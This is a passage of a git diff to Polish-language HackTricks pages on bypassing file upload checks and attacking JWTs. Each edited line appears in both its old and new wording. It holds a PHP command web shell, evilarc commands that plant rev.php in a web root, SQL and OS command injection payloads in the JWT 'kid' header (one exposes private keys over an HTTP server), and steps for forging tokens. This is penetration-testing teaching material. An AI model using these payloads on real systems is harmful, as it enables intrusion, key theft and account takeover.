```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -177,7 +177,7 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kont
## Narzędzia
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając dokładne oceny aplikacji internetowych.
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając kompleksową ocenę aplikacji internetowych.
## Od przesyłania plików do innych podatności
@ -188,12 +188,12 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kont
* [**XSS** w przesyłanym pliku obrazu (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Przesyłanie pliku **JS** + **XSS** = [Eksploatacja **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE w przesyłanym svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Przekierowanie otwarte** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* [**Otwarte przekierowanie** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Wypróbuj **różne ładunki svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Znana podatność **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Jeśli możesz **wskazać serwer internetowy, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
* [**XXE i omijanie CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, który będzie wykonywał dowolny JS, postępując zgodnie z podanymi wskazówkami.
* Jeśli możesz **wskazać serwerowi internetowemu, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
* [**XXE i bypass CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, które wykonają dowolny JS, postępując zgodnie z podanymi wskazówkami.
* Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma **antywirusa**
* Sprawdź, czy istnieje jakieś **ograniczenie rozmiaru** przesyłanych plików
@ -205,7 +205,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
4. **CSV**: Wstrzyknięcie CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Przekierowanie otwarte
7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Otwarte przekierowanie
8. **PNG / JPEG**: Atak zalewania pikseli (DoS)
9. **ZIP**: RCE poprzez LFI / DoS
10. **PDF / PPTX**: SSRF / Ślepa XXE
@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
```
### Dekompresuj w różnych folderach
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, obsługa hierarchicznego kompresowania i możliwości nawigacji po katalogach formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania poprzez manipulowanie funkcjonalnością dekompresji docelowej aplikacji.
Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
```python
@ -244,7 +244,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik tak jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotyka błędów podczas swojej operacji.
Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik np. `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojego działania.
Poniżej znajduje się przykład kodu w języku Python używanego do utworzenia złośliwego pliku zip:
```python
@ -266,7 +266,7 @@ create_zip()
```
**Wykorzystywanie kompresji do rozprzestrzeniania plików**
Aby uzyskać dalsze szczegóły, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Aby uzyskać więcej informacji, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonywania poleceń przekazywanych przez zmienną `$_REQUEST`.
@ -278,7 +278,7 @@ system($cmd);
}?>
```
2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest archiwum zip zawierające te pliki.
2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest plik zip zawierający te pliki.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -302,13 +302,13 @@ pop graphic-context
Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w pewnych przypadkach użycia.
Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT pliku PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT plików PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
Więcej informacji pod adresem: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Pliki poliglotyczne
Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która funkcjonuje zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która pełni funkcje zarówno pliku GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Główna użyteczność plików poliglotycznych polega na ich zdolności do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. JS, PHP lub plikami Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia.
@ -325,9 +325,9 @@ Więcej informacji pod adresem: [https://medium.com/swlh/polyglot-files-a-hacker
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i włamanie się na nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -337,10 +337,10 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowan
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,20 +8,20 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
**Część tego posta opiera się na niesamowitym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor świetnego narzędzia do testowania penetracyjnego JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Część tego posta opiera się na świetnym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor doskonałego narzędzia do testowania penetracyjnego JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Szybkie Zwycięstwa**
@ -41,13 +41,13 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Modyfikacja danych bez zmiany niczego
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzać, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzić, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
#### **Czy token jest sprawdzany?**
Aby sprawdzić, czy sygnatura JWT jest weryfikowana:
* Komunikat o błędzie sugeruje trwającą weryfikację; szczegóły w wyczerpujących błędach powinny być sprawdzone.
* Komunikat o błędzie sugeruje trwającą weryfikację; szczegóły w wyczerpujących błędach powinny być przeanalizowane.
* Zmiana na zwróconej stronie również wskazuje na weryfikację.
* Brak zmian sugeruje brak weryfikacji; wtedy można eksperymentować z modyfikacją twierdzeń ładunku.
@ -60,9 +60,9 @@ Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy po
### Czas trwania
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
Sprawdź, czy token trwa dłużej niż 24 godziny... być może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
### Brutalne narzędzie do odgadywania tajnego klucza HMAC
### Brutalne narzędzie do odszyfrowania tajnego klucza HMAC
[Zobacz tę stronę.](../generic-methodologies-and-resources/brute-force.md#jwt)
@ -70,7 +70,7 @@ Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Je
Ustaw używany algorytm jako "None" i usuń część sygnatury.
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w karcie "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" na "None").
### Zmiana algorytmu z RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
@ -86,7 +86,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nowy klucz publiczny w nagłówku
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji sygnatury (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
@ -95,10 +95,10 @@ Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych korzystających z nagłówka "jku". Ten nagłówek powinien odnosić się do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokenu.
* **Ocena Tokenów z Nagłówkiem "jku"**:
* Zweryfikuj adres URL z deklaracją "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
* **Ocena tokenów z nagłówkiem "jku"**:
* Zweryfikuj adres URL zadeklarowany w nagłówku "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
* Zmodyfikuj wartość "jku" tokenu, aby kierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
* **Monitorowanie Interakcji HTTP**:
* **Monitorowanie interakcji HTTP**:
* Obserwacja żądań HTTP do określonego adresu URL wskazuje na próby serwera pobrania kluczy z podanego linku.
* Podczas korzystania z `jwt_tool` w tym procesie, istotne jest zaktualizowanie pliku `jwtconf.ini` z lokalizacją Twojego osobistego pliku JWKS w celu ułatwienia testów.
* **Polecenie dla `jwt_tool`**:
@ -110,31 +110,31 @@ python3 jwt_tool.py JWT_TUTAJ -X s
### Przegląd problemów z "kid"
Opcjonalna deklaracja nagłówka znana jako `kid` jest wykorzystywana do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokenu. Ta deklaracja pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokenu.
Opcjonalny nagłówek o nazwie `kid` jest wykorzystywany do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji sygnatury tokenu. Ten nagłówek pomaga w wyborze odpowiedniego klucza do weryfikacji sygnatury tokenu.
#### Ujawnianie klucza poprzez "kid"
Gdy deklaracja `kid` jest obecna w nagłówku, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, pliki _/klucz/12345_ i _/klucz/12345.pem_ powinny być wyszukiwane w głównym katalogu sieciowym.
Gdy nagłówek `kid` jest obecny, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, należy wyszukać pliki _/klucz/12345_ i _/klucz/12345.pem_ w głównym katalogu sieciowym.
#### Traversal ścieżki z "kid"
Deklaracja `kid` może również być wykorzystana do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana JWT w celu zmiany wartości `kid` zachowując oryginalny podpis może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
Nagłówek `kid` może być również wykorzystany do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana tokenu JWT w celu zmiany wartości `kid`, zachowując jednocześnie oryginalną sygnaturę, może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Poprzez celowanie w pliki z przewidywalną zawartością, możliwe jest sfałszowanie ważnego JWT. Na przykład plik `/proc/sys/kernel/randomize_va_space` w systemach Linux, zawierający wartość **2**, może być użyty w parametrze `kid` z **2** jako symetrycznym hasłem do generowania JWT.
#### Wstrzykiwanie SQL poprzez "kid"
#### Wstrzyknięcie SQL poprzez "kid"
Jeśli zawartość claimu `kid` jest wykorzystywana do pobrania hasła z bazy danych, atak typu wstrzykiwanie SQL może być ułatwiony poprzez modyfikację ładunku `kid`. Przykładowy ładunek wykorzystujący wstrzykiwanie SQL do zmiany procesu podpisywania JWT to:
Jeśli zawartość claimu `kid` jest wykorzystywana do pobrania hasła z bazy danych, wstrzyknięcie SQL może być ułatwione poprzez modyfikację ładunku `kid`. Przykładowy ładunek wykorzystujący wstrzyknięcie SQL do zmiany procesu podpisywania JWT to:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Ta zmiana wymusza użycie znanego klucza tajnego, `ATTACKER`, do podpisywania JWT.
#### Wstrzykiwanie OS poprzez "kid"
#### Wstrzyknięcie OS poprzez "kid"
Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzykiwanie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzyknięcie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -143,7 +143,7 @@ Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w konte
#### jku
jku oznacza **JWK Set URL**.\
Jeśli token używa claimu nagłówka "**jku**", **sprawdź podany adres URL**. Powinien wskazywać na adres URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokenu. Zmodyfikuj token, aby wskazywał wartość jku na usługę sieciową, którą możesz monitorować pod kątem ruchu.
Jeśli token używa claimu nagłówka "**jku**", **sprawdź podany URL**. Powinien wskazywać na adres URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokenu. Zmodyfikuj token, aby wskazywał wartość jku na usługę sieciową, którą możesz monitorować pod kątem ruchu.
Najpierw musisz utworzyć nowy certyfikat z nowymi kluczami prywatnymi i publicznymi.
```bash
@ -151,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Następnie możesz na przykład użyć [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
```bash
@ -168,7 +168,7 @@ X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard f
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku **możesz sfałszować JWT**.
Aby sfałszować nowy token, używając certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
Aby sfałszować nowy token za pomocą certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@ -177,7 +177,7 @@ Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzy
![](<../.gitbook/assets/image (439).png>)
Możesz również nadużyć obu tych podatności **dla ataków SSRF**.
Możesz również wykorzystać obie te luki **do ataków SSRF**.
#### x5c
@ -185,7 +185,7 @@ Ten parametr może zawierać **certyfikat w formacie base64**:
![](<../.gitbook/assets/image (440).png>)
Jeśli atakujący **wygeneruje certyfikat podpisany własnoręcznie** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego, a następnie zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
Jeśli atakujący **wygeneruje certyfikat samopodpisany** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego i zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem oraz zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -235,13 +235,13 @@ Jednakże, wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4
**Ataki przekazywania międzyusługowego**
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, gdzie token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, używając tego samego nazwy użytkownika/adresu e-mail. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, gdzie token wygenerowany dla jednego klienta przez serwis JWT został zaakceptowany przez innego klienta tego samego serwisu JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, używając tego samego nazwy użytkownika/adresu e-mail. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
* Akceptacja twojego tokenu może wskazywać na poważny problem, potencjalnie umożliwiający podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczna zgoda na szersze testowanie, jeśli rejestracja w aplikacji innej firmy może wprowadzić w obszar szarej strefy prawniczej.
**Sprawdzanie ważności tokenów**
Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Ponieważ JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca zmniejszenie ataków powtórnego odtwarzania JWT poprzez wykorzystanie claimu "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja implementowała odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera claim "exp" i limity czasowe na testowanie na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt\_tool.
